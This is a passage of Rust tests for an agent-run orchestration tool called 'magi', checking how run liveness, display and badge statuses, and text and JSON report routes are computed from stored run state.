20368            );
20369        }
20370    }
20371
20372    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20373    /// review` claims no daemon at all, so before this field existed the
20374    /// route above read it as `"dead"` — indistinguishable from a run a
20375    /// killed process abandoned — the whole time it was genuinely still
20376    /// answering. With a live pid recorded, it must read `"live"` even
20377    /// though no daemon claims it.
20378    #[tokio::test]
20379    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20380        let f = Fixture::start().await;
20381        let id = "20260922-090000-cccc";
20382        let mut state = RunState::new(
20383            PathBuf::from("/repo/magi"),
20384            "main".to_owned(),
20385            "0123456789abcdef".to_owned(),
20386            "Review only".to_owned(),
20387            Config::default(),
20388        );
20389        state.id = id.to_owned();
20390        state.status = RunStatus::Reviewing;
20391        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20392        // This test process's own pid: guaranteed alive, and never needs a
20393        // real daemon or a second process to prove it. The matching start-time
20394        // marker is what `liveness` now requires alongside a live pid — see
20395        // `RunState::driver_started_at`'s own doc for why the pid alone is
20396        // not enough.
20397        state.driver_pid = Some(std::process::id());
20398        state.driver_started_at = Some(
20399            crate::proc::process_started_at(std::process::id())
20400                .expect("this test process's own start time must be queryable"),
20401        );
20402        let dir = f.runs().join(id);
20403        std::fs::create_dir_all(&dir).expect("run dir");
20404        std::fs::write(
20405            dir.join("run.json"),
20406            serde_json::to_string_pretty(&state).expect("serialize run"),
20407        )
20408        .expect("write run.json");
20409
20410        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20411        assert_eq!(detail["live"], "live", "{detail}");
20412    }
20413
20414    /// A killed manual run's pid can be handed to a wholly unrelated later
20415    /// process — a live query on `driver_pid` alone would read this as
20416    /// `"live"`, exactly the false positive `driver_started_at` exists to
20417    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20418    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20419    #[tokio::test]
20420    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20421        let f = Fixture::start().await;
20422        let id = "20260922-090100-dddd";
20423        let mut state = RunState::new(
20424            PathBuf::from("/repo/magi"),
20425            "main".to_owned(),
20426            "0123456789abcdef".to_owned(),
20427            "Review only".to_owned(),
20428            Config::default(),
20429        );
20430        state.id = id.to_owned();
20431        state.status = RunStatus::Reviewing;
20432        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20433        // This test process's own pid really is alive, but the marker
20434        // recorded here does not match what it actually started at —
20435        // standing in for the pid having since been reused by a different
20436        // process than the one that wrote `run.json`.
20437        state.driver_pid = Some(std::process::id());
20438        state.driver_started_at = Some("1".to_owned());
20439        let dir = f.runs().join(id);
20440        std::fs::create_dir_all(&dir).expect("run dir");
20441        std::fs::write(
20442            dir.join("run.json"),
20443            serde_json::to_string_pretty(&state).expect("serialize run"),
20444        )
20445        .expect("write run.json");
20446
20447        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20448        assert_eq!(detail["live"], "dead", "{detail}");
20449    }
20450
20451    /// The deck's competition list is normally the first place an operator
20452    /// sees an old run. It must carry the same process verdict as detail, or
20453    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20454    #[test]
20455    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20456        let mk = |id: &str, pid: Option<u32>| {
20457            let mut s = RunState::new(
20458                PathBuf::from("/repo/magi"),
20459                "main".to_owned(),
20460                "0123456789abcdef".to_owned(),
20461                "Add a web UI".to_owned(),
20462                Config::default(),
20463            );
20464            s.id = id.to_owned();
20465            s.driver_pid = pid;
20466            s.driver_started_at = Some("1790000000".to_owned());
20467            s
20468        };
20469        let states = vec![
20470            mk("20260902-140502-aaaa", Some(77)),
20471            mk("20260902-140502-bbbb", Some(77)),
20472            mk("20260902-140502-cccc", Some(77)),
20473            mk("20260902-140502-dddd", None),
20474        ];
20475        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20476        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20477        let sup: HashMap<String, String> = [(
20478            "20260902-140502-aaaa".to_owned(),
20479            "20260902-140502-cccc".to_owned(),
20480        )]
20481        .into();
20482
20483        let status_calls = std::cell::Cell::new(0);
20484        let identity_calls = std::cell::Cell::new(0);
20485        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20486            |_| {
20487                status_calls.set(status_calls.get() + 1);
20488                Some(true)
20489            },
20490            |_| {
20491                identity_calls.set(identity_calls.get() + 1);
20492                Some("1790000000".to_owned())
20493            },
20494        ));
20495        let rows = summarize(
20496            states,
20497            &open,
20498            &claimed,
20499            &sup,
20500            |p| probe.borrow_mut().status(p),
20501            |p| probe.borrow_mut().started_at(p),
20502        );
20503
20504        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20505        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20506        assert_eq!(rows.len(), 4);
20507        assert!(!rows[0].waiting && rows[1].waiting);
20508        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20509        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20510        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20511        assert_eq!(rows[1].superseded_by, None);
20512    }
20513
20514    #[test]
20515    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20516        let mut state = RunState::new(
20517            PathBuf::from("/repo/magi"),
20518            "main".to_owned(),
20519            "0123456789abcdef".to_owned(),
20520            "Review only".to_owned(),
20521            Config::default(),
20522        );
20523        state.id = "20260922-090200-dead".to_owned();
20524        state.status = RunStatus::Reviewing;
20525        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20526            .expect("serialize list row");
20527        assert_eq!(row["status"], "reviewing");
20528        assert_eq!(row["display_status"], "stale");
20529        assert_eq!(row["live"], "dead", "{row}");
20530        assert!(!row["done"].as_bool().unwrap());
20531    }
20532
20533    #[test]
20534    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20535        use crate::run::Liveness::{Dead, Live, Unknown};
20536        let mut state = RunState::new(
20537            PathBuf::from("/repo/magi"),
20538            "main".to_owned(),
20539            "abc".to_owned(),
20540            "Review only".to_owned(),
20541            Config::default(),
20542        );
20543        for (status, parked, node, waiting, live, expected) in [
20544            (
20545                RunStatus::Judging,
20546                true,
20547                "github-text",
20548                false,
20549                Dead,
20550                "parked",
20551            ),
20552            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20553            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20554            (
20555                RunStatus::Judging,
20556                true,
20557                "github-text",
20558                true,
20559                Dead,
20560                "waiting",
20561            ),
20562            (
20563                RunStatus::Judging,
20564                false,
20565                "github-text",
20566                true,
20567                Dead,
20568                "waiting",
20569            ),
20570            (
20571                RunStatus::Judging,
20572                false,
20573                "github-text",
20574                false,
20575                Dead,
20576                "stale",
20577            ),
20578            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20579            (RunStatus::Judging, true, "park", false, Live, "judging"),
20580            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20581            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20582            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20583            (
20584                RunStatus::Blocked,
20585                true,
20586                "github-text",
20587                true,
20588                Dead,
20589                "waiting",
20590            ),
20591        ] {
20592            state.status = status;
20593            state.parked = parked;
20594            state.events.clear();
20595            state.event(
20596                "park",
20597                "an earlier park does not determine the latest state",
20598            );
20599            state.event(node, "message is not used for classification");
20600            let summary = RunSummary::of(&state, waiting, live);
20601            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20602            assert_eq!(
20603                summary.display_status, expected,
20604                "{status:?}/{node}/{live:?}"
20605            );
20606            assert_eq!(detail.display_status, summary.display_status);
20607            assert_eq!(detail.waiting, summary.waiting);
20608        }
20609        state.status = RunStatus::Judging;
20610        state.parked = false;
20611        state.events.clear();
20612        assert_eq!(run_display_status(&state, false, Dead), "stale");
20613    }
20614
20615    #[test]
20616    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20617        use crate::run::Liveness::{Dead, Live, Unknown};
20618        let mut state = RunState::new(
20619            PathBuf::from("/repo/magi"),
20620            "main".to_owned(),
20621            "abc".to_owned(),
20622            "Badge".to_owned(),
20623            Config::default(),
20624        );
20625        for (status, waiting, live, superseded, expected) in [
20626            (RunStatus::Gating, false, Dead, false, "stale"),
20627            (RunStatus::Gating, false, Dead, true, "superseded"),
20628            (RunStatus::Gating, false, Unknown, true, "superseded"),
20629            (RunStatus::Gating, true, Dead, true, "superseded"),
20630            (RunStatus::Gating, true, Dead, false, "waiting"),
20631            (RunStatus::Gating, false, Unknown, false, "gating"),
20632            (RunStatus::Gating, false, Live, true, "gating"),
20633            (RunStatus::Gating, true, Live, true, "waiting"),
20634            (RunStatus::Merged, false, Dead, true, "merged"),
20635            (RunStatus::Blocked, false, Dead, true, "blocked"),
20636        ] {
20637            state.status = status;
20638            let display = run_display_status(&state, waiting, live);
20639            assert_eq!(
20640                run_badge_status(&state, &display, live, superseded),
20641                expected,
20642                "{status:?}/{live:?}/superseded={superseded}"
20643            );
20644        }
20645    }
20646
20647    #[test]
20648    fn summarize_and_detail_expose_badge_status() {
20649        use crate::run::Liveness::Dead;
20650        let mut state = RunState::new(
20651            PathBuf::from("/repo/magi"),
20652            "main".to_owned(),
20653            "abc".to_owned(),
20654            "Badge".to_owned(),
20655            Config::default(),
20656        );
20657        state.status = RunStatus::Gating;
20658        let none = HashSet::new();
20659        let id = state.id.clone();
20660        let mut by = HashMap::new();
20661        let rows = summarize(
20662            [state.clone()],
20663            &none,
20664            &none,
20665            &by,
20666            |_| Some(false),
20667            |_| None,
20668        );
20669        // No driver recorded: liveness is not provably dead, so the node stays.
20670        assert_eq!(rows[0].badge_status, rows[0].display_status);
20671        by.insert(id, "20260901-000000-913b".to_owned());
20672        let detail = RunDetailView::of(
20673            state.clone(),
20674            false,
20675            Dead,
20676            Some("913b".to_owned()),
20677            None,
20678            None,
20679        );
20680        assert_eq!(detail.badge_status, "superseded");
20681        let json = serde_json::to_value(&detail).unwrap();
20682        assert_eq!(json["badge_status"], "superseded");
20683        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20684        assert_eq!(detail.badge_status, "stale");
20685    }
20686
20687    #[tokio::test]
20688    async fn run_display_status_routes_share_the_open_question_store() {
20689        let f = Fixture::start().await;
20690        let id = "20260922-090200-abcd";
20691        write_run(&f.runs(), id, RunStatus::Judging);
20692        let mut state = read_run(&f.runs(), id).unwrap();
20693        state.parked = true;
20694        state.driver_exited = true;
20695        state.event("github-text", "waiting for the owner");
20696        state.save_under(f.home.path()).unwrap();
20697        let mut task = Task::new(
20698            "resumed task".to_owned(),
20699            "do it".to_owned(),
20700            PathBuf::from("/repo"),
20701            Source::Human,
20702        );
20703        task.runs = vec![id.to_owned(), id.to_owned()];
20704        f.queue().put(&mut task).unwrap();
20705        let store = f.questions();
20706        let mut q = Question::new(
20707            id.to_owned(),
20708            "github-text".to_owned(),
20709            "owner".to_owned(),
20710            "Approve the text?".to_owned(),
20711            String::new(),
20712            Vec::new(),
20713        );
20714        store.put(&mut q).unwrap();
20715        for expected in ["waiting", "parked"] {
20716            let list = f.get("/api/runs").await.json();
20717            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20718            assert_eq!(list[0]["display_status"], expected);
20719            assert_eq!(detail["display_status"], expected);
20720            assert_eq!(detail["waiting"], list[0]["waiting"]);
20721            assert_eq!(list[0]["badge_status"], expected);
20722            assert_eq!(detail["badge_status"], expected);
20723            assert!(list[0]["superseded_by"].is_null());
20724            assert!(detail["superseded_by"].is_null());
20725            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20726            let history = task_detail["history"].as_array().unwrap();
20727            assert_eq!(history.len(), 2);
20728            assert!(history[0]["badge"].is_null());
20729            assert_eq!(history[1]["badge"], expected);
20730            q.status = ask::QuestionStatus::Answered;
20731            store.put(&mut q).unwrap();
20732        }
20733    }
20734
20735    #[tokio::test]
20736    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20737        let f = Fixture::start().await;
20738        let id = "20260922-090200-abcd";
20739        write_run(&f.runs(), id, RunStatus::Judging);
20740        let mut state = read_run(&f.runs(), id).unwrap();
20741        state.parked = true;
20742        state.driver_exited = true;
20743        state.event("park", "stopped at a node boundary");
20744        state.save_under(f.home.path()).unwrap();
20745
20746        for expected in ["parked", "stale"] {
20747            let list = f.get("/api/runs").await.json();
20748            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20749            assert_eq!(list[0]["live"], "dead");
20750            assert_eq!(list[0]["display_status"], expected);
20751            assert_eq!(detail["display_status"], expected);
20752            // Model a driver claim followed by a crash before the next event:
20753            // the persisted flag changes, but the last event is still park.
20754            state.parked = false;
20755            state.save_under(f.home.path()).unwrap();
20756        }
20757    }
20758
20759    #[tokio::test]
20760    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20761        let f = Fixture::start().await;
20762        for id in [
20763            "20260902-140501-aaaa",
20764            "20260902-140502-bbbb",
20765            "20260902-140503-cccc",
20766        ] {
20767            write_run(&f.runs(), id, RunStatus::Merged);
20768        }
20769
20770        let all = f.get("/api/runs").await.json();
20771        let capped = f.get("/api/runs?limit=2").await.json();
20772
20773        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20774        assert_eq!(all.as_array().map(Vec::len), Some(3));
20775        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20776        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20777    }
20778
20779    #[tokio::test]
20780    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20781        let f = Fixture::start().await;
20782        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20783
20784        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20785
20786        assert_eq!(res.status, 200);
20787        assert!(
20788            res.headers
20789                .contains("content-type: text/plain; charset=utf-8"),
20790            "a browser must render it, not download it: {}",
20791            res.headers
20792        );
20793        // The assertion is on content, not on the absence of escapes: colour
20794        // is a process-global that `serve` turns off at startup, and another
20795        // test in this binary may own it while this one runs.
20796        assert!(
20797            res.body.contains("20260902-140501-a1b2"),
20798            "the report is about the run that was asked for: {}",
20799            res.body
20800        );
20801    }
20802
20803    #[tokio::test]
20804    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20805        // The view names the run's state directory, which reads the process-global home.
20806        crate::run::pin_test_home();
20807        let f = Fixture::start().await;
20808        let id = "20260902-140501-a1b2";
20809        write_run(&f.runs(), id, RunStatus::Stalled);
20810        // A stalled panel and one review round, written through the real
20811        // state file so the route reads what a run really leaves behind.
20812        let path = f.runs().join(id).join("run.json");
20813        let mut v: serde_json::Value =
20814            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20815        v["tally"] = serde_json::json!({
20816            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20817            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20818            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20819            "met_quorum": false, "rankings": 1
20820        });
20821        v["reviews"] = serde_json::json!([{
20822            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20823            "e2e_deferred": true,
20824            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20825                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20826            ]}]
20827        }]);
20828        std::fs::write(&path, v.to_string()).unwrap();
20829        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20830        std::fs::write(
20831            f.runs().join("20260902-140502-dead").join("run.json"),
20832            "{not json",
20833        )
20834        .unwrap();
20835
20836        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20837
20838        assert_eq!(res.status, 200, "{}", res.body);
20839        assert!(res.headers.contains("content-type: application/json"));
20840        let j = res.json();
20841        assert_eq!(j["schema"], 1);
20842        assert_eq!(j["header"]["id"], id);
20843        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20844        let kinds: Vec<&str> = j["sections"]
20845            .as_array()
20846            .unwrap()
20847            .iter()
20848            .map(|s| s["kind"].as_str().unwrap())
20849            .collect();
20850        assert_eq!(kinds, ["candidates", "tally", "review"]);
20851        let tally = &j["sections"][1]["tally"];
20852        assert_eq!(
20853            (tally["decided"].clone(), tally["provisional"].clone()),
20854            (false.into(), true.into())
20855        );
20856        let round = &j["sections"][2]["rounds"][0];
20857        assert_eq!(round["e2e"]["state"], "deferred");
20858        assert_eq!(round["findings"][0]["severity"], "major");
20859        assert_eq!(round["findings"][0]["blocking"], true);
20860        assert_eq!(round["findings"][0]["state"], "open");
20861
20862        // The raw route keeps working beside it.
20863        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20864
20865        // An unreadable run is an error, as on the text route, and is counted.
20866        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20867        assert_ne!(bad.status, 200, "{}", bad.body);
20868        assert_eq!(
20869            bad.status,
20870            f.get("/api/runs/20260902-140502-dead/report").await.status
20871        );
20872        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20873        assert_eq!(
20874            f.get("/api/runs/20260902-999999-ffff/report.json")
20875                .await
20876                .status,
20877            404
20878        );
20879    }
20880
20881    #[tokio::test]
20882    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
20883        crate::run::pin_test_home();
20884        let f = Fixture::start().await;
20885        let id = "20260902-140501-a1b2";
20886        write_run(&f.runs(), id, RunStatus::Blocked);
20887        let path = f.runs().join(id).join("run.json");
20888        let mut v: serde_json::Value =
20889            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20890        v["sync_only_passes"] = serde_json::json!([{
20891            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
20892            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
20893            "head_before": "before-sha", "head_after": "after-sha",
20894            "result": "synchronized", "verification_allowed": false
20895        }]);
20896        std::fs::write(&path, v.to_string()).unwrap();
20897
20898        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20899        assert_eq!(res.status, 200, "{}", res.body);
20900        let json = res.json();
20901        let section = json["sections"]
20902            .as_array()
20903            .unwrap()
20904            .iter()
20905            .find(|s| s["key"] == "sync_only")
20906            .expect("base-only report section");
20907        let line = section["lines"][0].as_str().unwrap();
20908        assert!(line.contains("origin/main @ base-sha"), "{line}");
20909        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
20910        assert!(line.contains("verification was not allowed"), "{line}");
20911    }
20912
20913    #[tokio::test]
20914    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
20915        crate::run::pin_test_home();
20916        let f = Fixture::start().await;
20917        let id = "20260902-140505-facts";
20918        write_run(&f.runs(), id, RunStatus::Stalled);
20919        let path = f.runs().join(id).join("run.json");
20920        let mut v: serde_json::Value =
20921            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20922        v["candidates"] = serde_json::json!([{
20923            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
20924            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
20925        }]);
20926        v["tally"] = serde_json::json!({
20927            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20928            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20929            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20930            "met_quorum": false, "rankings": 1
20931        });
20932        v["quota"] = serde_json::json!([
20933            {
20934                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
20935                "agent": "signed-out", "cause": "authentication"
20936            },
20937            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
20938        ]);
20939        v["startup"] = serde_json::json!({
20940            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
20941            "failure": "fetch refused\ncredentials expired"
20942        });
20943        v["recovery"] = serde_json::json!({
20944            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
20945            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
20946            "repair": {"started": {"before": "abcdef012345"}}
20947        });
20948        v["reviews"] = serde_json::json!([{
20949            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
20950            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
20951            "vote_split": true, "verdict": "approve_with_findings",
20952            "e2e": [{
20953                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
20954            }],
20955            "reviews": [
20956                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
20957                 "summary": "Initial **concern**.\n\nPlease inspect.",
20958                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
20959                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
20960            ],
20961            "reconsideration": [{
20962                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
20963                "reason": "The blocker is resolved.\nOne minor issue remains."
20964            }]
20965        }]);
20966        v["merge_repairs"] = serde_json::json!([{
20967            "question": "question-42", "head": "abcdef012345",
20968            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
20969            "gate": [], "phase": "Failed",
20970            "failure": "owner decision required\ninspect updated results"
20971        }]);
20972        v["bump_decision_attempts"] = serde_json::json!([
20973            {"agent": "first", "outcome": "unavailable"},
20974            {"agent": "second", "outcome": "patch\naccepted"}
20975        ]);
20976        v["release_bump"] = serde_json::json!({
20977            "version": "1.2.3", "local": true,
20978            "problem": "publish failed\nregistry refused",
20979            "release": {
20980                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
20981                "failed": "registry refused\nawait owner approval",
20982                "log": [{
20983                    "name": "cargo publish", "code": 1,
20984                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
20985                }]
20986            }
20987        });
20988        std::fs::write(&path, v.to_string()).unwrap();
20989
20990        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20991        assert_eq!(res.status, 200, "{}", res.body);
20992        let j = res.json();
20993        assert_eq!(j["schema"], 1);
20994        assert_eq!(j["header"]["tone"], "warn");
20995        assert_eq!(
20996            j["header"]["startup"],
20997            "review branch=topic stage=fetch complete=false"
20998        );
20999        assert_eq!(
21000            j["header"]["startup_failure"],
21001            "fetch refused\ncredentials expired"
21002        );
21003        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21004        assert_eq!(
21005            j["sections"][0]["items"][0]["detail"],
21006            "Already covered.\nNo patch needed."
21007        );
21008        assert_eq!(
21009            j["sections"][1]["tally"]["rate_limited"],
21010            serde_json::json!(["judge-1", "judge-2"])
21011        );
21012        let sections = j["sections"].as_array().unwrap();
21013        let labels: Vec<_> = sections
21014            .iter()
21015            .map(|section| {
21016                section["key"]
21017                    .as_str()
21018                    .or_else(|| section["kind"].as_str())
21019                    .unwrap()
21020            })
21021            .collect();
21022        assert_eq!(
21023            labels,
21024            [
21025                "candidates",
21026                "tally",
21027                "quota_details",
21028                "recovery",
21029                "review",
21030                "merge_repairs",
21031                "release_decision_attempts",
21032                "release_bump",
21033                "release_execution"
21034            ]
21035        );
21036        let note = |key: &str| {
21037            sections
21038                .iter()
21039                .find(|section| section["kind"] == "notes" && section["key"] == key)
21040                .unwrap()
21041        };
21042        let unavailable = note("quota_details");
21043        assert_eq!(unavailable["tone"], "warn");
21044        assert_eq!(
21045            unavailable["lines"],
21046            serde_json::json!([
21047                "judge-1 (signed-out: re-authenticate)",
21048                "judge-2 (usage limit)"
21049            ])
21050        );
21051        let recovery = note("recovery");
21052        assert_eq!(recovery["tone"], "warn");
21053        assert!(
21054            recovery["lines"][0]
21055                .as_str()
21056                .unwrap()
21057                .contains("head moved\nreview the new diff")
21058        );
21059        assert_eq!(
21060            recovery["lines"][1],
21061            "the task's own completion criteria were kept"
21062        );
21063        assert_eq!(recovery["lines"][2], "repair: unfinished");
21064        let review = sections
21065            .iter()
21066            .find(|section| section["kind"] == "review")
21067            .unwrap();
21068        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21069        let round = &review["rounds"][0];
21070        assert_eq!(round["verified_head"], "fedcba9");
21071        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21072        assert_eq!(round["status"], "incomplete");
21073        assert_eq!(round["e2e"]["state"], "pass");
21074        assert_eq!(round["reviewers"][0]["vote"], "reject");
21075        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21076        assert_eq!(
21077            round["reviewers"][0]["reason"],
21078            "Initial **concern**.\n\nPlease inspect."
21079        );
21080        assert!(
21081            !round["reviewers"][0]["reason_md"]
21082                .as_array()
21083                .unwrap()
21084                .is_empty()
21085        );
21086        assert!(round["reviewers"][1]["final_vote"].is_null());
21087        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21088        assert_eq!(
21089            round["reconsideration"][0]["reason"],
21090            "The blocker is resolved.\nOne minor issue remains."
21091        );
21092        assert!(
21093            !round["reconsideration"][0]["reason_md"]
21094                .as_array()
21095                .unwrap()
21096                .is_empty()
21097        );
21098        let repairs = note("merge_repairs");
21099        assert_eq!(repairs["tone"], "warn");
21100        assert_eq!(
21101            repairs["lines"][0],
21102            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21103        );
21104        assert_eq!(
21105            repairs["lines"][1],
21106            "held: owner decision required\ninspect updated results"
21107        );
21108        assert_eq!(
21109            repairs["lines"][2],
21110            "original [R1-1-1] Minor: Check edge case"
21111        );
21112        assert_eq!(
21113            repairs["lines"][3],
21114            "original reviewer #1: ApproveWithFindings"
21115        );
21116        assert_eq!(
21117            repairs["lines"][4],
21118            "Repair never approves a merge; updated results require a fresh owner decision."
21119        );
21120        let attempts = note("release_decision_attempts");
21121        assert_eq!(attempts["tone"], "neutral");
21122        assert_eq!(
21123            attempts["lines"],
21124            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21125        );
21126        let bump = sections
21127            .iter()
21128            .find(|section| section["kind"] == "release_bump")
21129            .unwrap();
21130        assert_eq!(bump["bump"]["automerge"], "local");
21131        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21132        assert_eq!(bump["tone"], "warn");
21133        let execution = note("release_execution");
21134        assert_eq!(execution["tone"], "warn");
21135        assert_eq!(
21136            execution["lines"][0],
21137            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21138        );
21139        assert_eq!(
21140            execution["lines"][1],
21141            "tag on remote: true; 1 command(s) completed"
21142        );
21143        assert_eq!(
21144            execution["lines"][2],
21145            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21146        );
21147
21148        // The original endpoint remains terminal text, including these same facts.
21149        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21150        assert_eq!(raw.status, 200);
21151        assert!(
21152            raw.headers
21153                .contains("content-type: text/plain; charset=utf-8")
21154        );
21155        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21156        assert!(raw.body.contains("Already covered."));
21157        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21158        assert!(raw.body.contains("judge-2 (usage limit)"));
21159        assert!(
21160            raw.body
21161                .contains("owner decision required\ninspect updated results")
21162        );
21163        assert!(raw.body.contains("2. second: patch\naccepted"));
21164        assert!(raw.body.contains(
21165            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21166        ));
21167
21168        // Historical records do not acquire invented startup or verification facts.
21169        let legacy_id = "20260902-140506-old";
21170        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21171        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21172        assert_eq!(legacy.status, 200, "{}", legacy.body);
21173        let legacy = legacy.json();
21174        assert!(legacy["header"]["startup"].is_null());
21175        assert!(legacy["header"]["startup_failure"].is_null());
21176        assert!(
21177            legacy["sections"]
21178                .as_array()
21179                .unwrap()
21180                .iter()
21181                .all(|section| section["kind"] != "notes")
21182        );
21183    }
21184
21185    #[tokio::test]
21186    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21187        crate::run::pin_test_home();
21188        let f = Fixture::start().await;
21189        let id = "20260902-140503-delib";
21190        write_run(&f.runs(), id, RunStatus::Merged);
21191        let path = f.runs().join(id).join("run.json");
21192        let mut v: serde_json::Value =
21193            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21194        v["judgements"] = serde_json::json!([
21195            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21196        ]);
21197        v["tally"] = serde_json::json!({
21198            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21199            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21200            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21201            "met_quorum": true, "rankings": 1
21202        });
21203        v["deliberation"] = serde_json::json!([
21204            {
21205                "round": 1,
21206                "turns": [
21207                    {
21208                        "judge": 1,
21209                        "agent": "judge-1",
21210                        "body": "I prefer candidate **A** because it has cleaner tests.",
21211                        "tentative": "A"
21212                    }
21213                ]
21214            },
21215            {
21216                "round": 2,
21217                "turns": [
21218                    {
21219                        "judge": 1,
21220                        "agent": "judge-1",
21221                        "body": "Still thinking, no choice yet.",
21222                        "tentative": null
21223                    }
21224                ]
21225            }
21226        ]);
21227        std::fs::write(&path, v.to_string()).unwrap();
21228
21229        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21230        assert_eq!(res.status, 200, "{}", res.body);
21231        let j = res.json();
21232        let judging = j["sections"]
21233            .as_array()
21234            .unwrap()
21235            .iter()
21236            .find(|s| s["kind"] == "judging")
